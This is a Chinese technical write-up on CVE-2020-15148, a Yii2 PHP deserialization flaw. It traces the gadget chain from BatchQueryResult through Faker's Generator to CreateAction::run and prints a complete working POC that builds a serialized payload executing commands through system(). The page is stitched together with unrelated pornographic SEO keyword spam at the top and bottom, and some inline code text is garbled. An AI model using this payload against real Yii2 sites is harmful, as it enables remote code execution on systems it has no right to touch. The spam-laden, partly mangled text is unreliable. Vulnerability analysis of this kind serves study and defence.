日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

CVE-2020-15148漏洞分析

瀏覽:320日期:2022-06-06 15:10:12
目錄
  • 基礎知識
    • Yii2
    • 魔術方法
  • 漏洞分析
    • 結語

      基礎知識

      在學習該漏洞之前我們需要學習一下前置知識來更好的理解該漏洞的產生原因以及如何利用。 我們先來學習一下框架的基本信息以及反序列化漏洞的基本利用過程。

      Yii2

      Yii是一個基于組件的高性能PHP框架,用于開發大型Web應用。Yii采用嚴格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調用unserialize時,攻擊者可通過構造特定的惡意請求執行任意命令,這也是常見的反序列化漏洞的利用過程。

      魔術方法

      提到PHP反序列化一定離不開魔術方法,這些方法通常會在達到一些特殊條件后就會執行,舉個例子:

      __construct() //新建對象時調用

      我們編寫下面的代碼:

      當我們執行時new了一個類,這就會調用里面的魔術方法,從而輸出語句。當然這只是最簡單的魔術方法,下面給大家一個列表來進行參考:

      了解完以上知識點后我們開始對該漏洞進行分析。

      漏洞分析

      首先我們要搭建環境,最好搭建在本地方便調試,源碼地址如下:

      搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結合上面對魔術方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術方法在對象銷毀時調用:

      __destruct()調用了reset()方法,方法里面的$this->_dataReader是可控的:

      public function reset(){if ($this->_dataReader !== null) {    $this->_dataReader->close();}

      于是思考接下來要如何利用,根據POC的構造,假設我們將_dataReader變成類然后去調用close()方法,若類型沒有close()方法,同時還有__call魔術方法,則會調用該魔術方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調用了foemat方法:

      public function format($formatter, $arguments = array())    {return call_user_func_array($this->getFormatter($formatter), $arguments);    }

      跟進這里:

      $this->getFormatter($formatter)

      看到存在可控參數:

      public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {     return $this->formatters[$formatter];}foreach ($this->providers as $provider) {    if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];    }}

      this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發現值為:

      $formatter="close",$arguments=空

      即返回的第一個參數是可控的,我們便可以調用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:

       public function run()    {if ($this->checkAccess) {    call_user_func($this->checkAccess, $this->id);}

      this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執行RCE。利用鏈如下:

      yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

      這里貼一個大佬們的POC:

      <?phpnamespace yiirest{    class CreateAction{public $checkAccess;public $id;public function __construct(){    $this->checkAccess = "system";    $this->id = "phpinfo();";}    }}namespace Faker{    use yiirestCreateAction;    class Generator{protected $formatters;public function __construct(){    $this->formatters["close"] = [new CreateAction, "run"];}    }}namespace yiidb{    use FakerGenerator;    class BatchQueryResult{private $_dataReader;public function __construct(){    $this->_dataReader = new Generator;}    }}namespace{    echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

      下面是傳入構造好的payload對網站進行請求的結果,可以看到成功進行了命令執行。

      結語

      今天給大家帶來的是CVE-2020-15148漏洞的簡單分析,整體看下來還是很簡單的,我們需要注意如何調用的魔術方法以及如何進行RCE,有興趣的小伙伴可以自己去搭建環境進行測試,喜歡本文的朋友希望可以一鍵三連支持一下。

      以上就是CVE-2020-15148漏洞分析的詳細內容,更多關于CVE-2020-15148漏洞的資料請關注其它相關文章!

      標簽: PHP
      日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
      久久中文欧美| sm捆绑调教国产免费网站在线观看 | 日韩精品成人| 久久青青视频| av免费不卡国产观看| 欧美视频二区| 麻豆精品一区二区综合av| 最新国产精品| 性欧美长视频| 蜜臀91精品国产高清在线观看| 综合日韩av| 久久久噜噜噜| 国产综合欧美| 蜜臀va亚洲va欧美va天堂 | 欧美一区自拍| 欧美日韩18| 久久亚洲黄色| 久久毛片亚洲| 欧洲激情综合| 中文视频一区| 日韩美女国产精品| 国产精品久久久久久久免费软件| 福利片在线一区二区| 黄在线观看免费网站ktv| 超碰超碰人人人人精品| 欧美日韩黑人| 日韩欧美中文字幕一区二区三区| 亚洲精品在线二区| 好吊视频一区二区三区四区| 国产精品一区高清| 午夜日韩在线| 国产亚洲一区二区三区啪| 国内不卡的一区二区三区中文字幕| 国产精品一区亚洲| 免费成人在线视频观看| 欧美亚洲人成在线| 欧美日韩精品一区二区视频| 99国产精品99久久久久久粉嫩| 国产欧美日韩综合一区在线播放| 婷婷色综合网| 国产精品igao视频网网址不卡日韩| 欧美国产中文高清| 国产亚洲毛片| 日韩免费久久| 日韩精品dvd| 国内自拍视频一区二区三区| 激情欧美日韩一区| 黄色精品视频| 福利欧美精品在线| 国产精品巨作av| 国产乱码精品一区二区三区亚洲人| 日本蜜桃在线观看视频| 日本高清不卡一区二区三区视频 | 婷婷精品在线| 日韩在线电影| 日本成人手机在线| 里番精品3d一二三区| 日韩精品国产欧美| 精品免费视频| 中文字幕一区二区三区日韩精品| 亚洲综合小说| 国产精品久久久久久av公交车| 中文一区一区三区免费在线观| 蜜臀精品一区二区三区在线观看 | 国产一区二区三区日韩精品| 图片区亚洲欧美小说区| 欧美综合精品| 日韩一区二区中文| 午夜久久av | 日本国产一区| 国产一区视频在线观看免费| 精品国产乱码久久久久久1区2匹| 黑丝一区二区三区| 精品日韩一区| 国产精品流白浆在线观看| 亚洲精品激情| 亚洲欧洲一区| 秋霞国产精品| 日韩啪啪电影网| 精品福利久久久| 国产精品高潮呻吟久久久久| 日韩大片在线播放| 亚洲高清激情| 亚洲福利国产| 国产精品欧美日韩一区| 亚洲激情久久| 日韩精品亚洲aⅴ在线影院| 风间由美中文字幕在线看视频国产欧美| 狠狠躁少妇一区二区三区| 亚洲激情av| 亚洲在线久久| 国内精品麻豆美女在线播放视频| 日本亚洲视频在线| 国产专区精品| 最新国产精品| 欧美色综合网| 高清久久一区| 婷婷亚洲五月色综合| 日本久久成人网| 欧美黑人做爰爽爽爽| 日韩精品视频在线看| 国精品一区二区三区| 日韩一区二区三区免费视频| 奇米777国产一区国产二区| 在线国产精品一区| 日本高清不卡一区二区三区视频| 黄色网一区二区| 另类综合日韩欧美亚洲| 国产精品久久久久久av公交车| 免费成人av在线播放| 日韩欧美三区| 亚洲精品在线国产| 国产精品久久久久久妇女| 蜜臀精品久久久久久蜜臀| 在线一区电影| 日本久久精品| 日韩精品国产欧美| 91久久中文| 亚洲欧美日韩高清在线| 蜜桃一区二区三区在线观看| 91精品国产自产精品男人的天堂| 国产精品天堂蜜av在线播放| 91久久亚洲| 蜜桃视频第一区免费观看| 国产精品av久久久久久麻豆网| 国产aa精品| 麻豆久久一区| 欧美精品一卡| 亚洲国内欧美| 欧美13videosex性极品| 国产日韩欧美三区| 野花国产精品入口| 日本在线视频一区二区| 国产91在线播放精品| 喷白浆一区二区| 狠狠爱www人成狠狠爱综合网| 91精品精品| 欧美国产三级| 精品一区二区三区亚洲| 在线亚洲激情| 亚州av一区| 国产综合色产| 国产欧美日韩在线观看视频| 精品免费av一区二区三区| 丁香六月综合| 免播放器亚洲一区| 日本aⅴ亚洲精品中文乱码| 国产精品99久久免费| 天堂8中文在线最新版在线| 樱桃成人精品视频在线播放| 日韩极品在线观看| 日韩欧美在线精品| 欧美日韩日本国产亚洲在线| 亚洲免费高清| 日韩欧美精品| 午夜久久黄色| 最新亚洲国产| 视频一区视频二区中文| 国产尤物精品| 99久久久久| 欧美成人久久| 成人精品中文字幕| 日本欧美国产| 国产精品一区二区精品 | 玖玖玖国产精品| 一区久久精品| 99成人在线| 久久精品123| 蜜桃久久久久| 久久在线视频免费观看| 久久麻豆视频| 精品视频一区二区三区四区五区| se01亚洲视频| 精品久久中文| 99国产成+人+综合+亚洲欧美| 麻豆国产欧美日韩综合精品二区| 亚洲二区免费| 日韩一区二区三区在线免费观看| 六月丁香综合| 日韩成人精品一区二区| 亚洲高清久久| 日韩不卡视频在线观看| 国产乱子精品一区二区在线观看| 国产精品99一区二区| 国产精品九九| 人人精品久久| 激情婷婷综合| 肉色欧美久久久久久久免费看| 美女国产一区二区三区| 国产中文字幕一区二区三区| 日韩另类视频| 精品国产18久久久久久二百| 91免费精品国偷自产在线在线| 国产精品老牛| 国产精品久久久久久久久久白浆 | 日韩高清在线不卡| 精品99在线| 麻豆精品在线播放| 欧美国产精品| 蜜臀国产一区|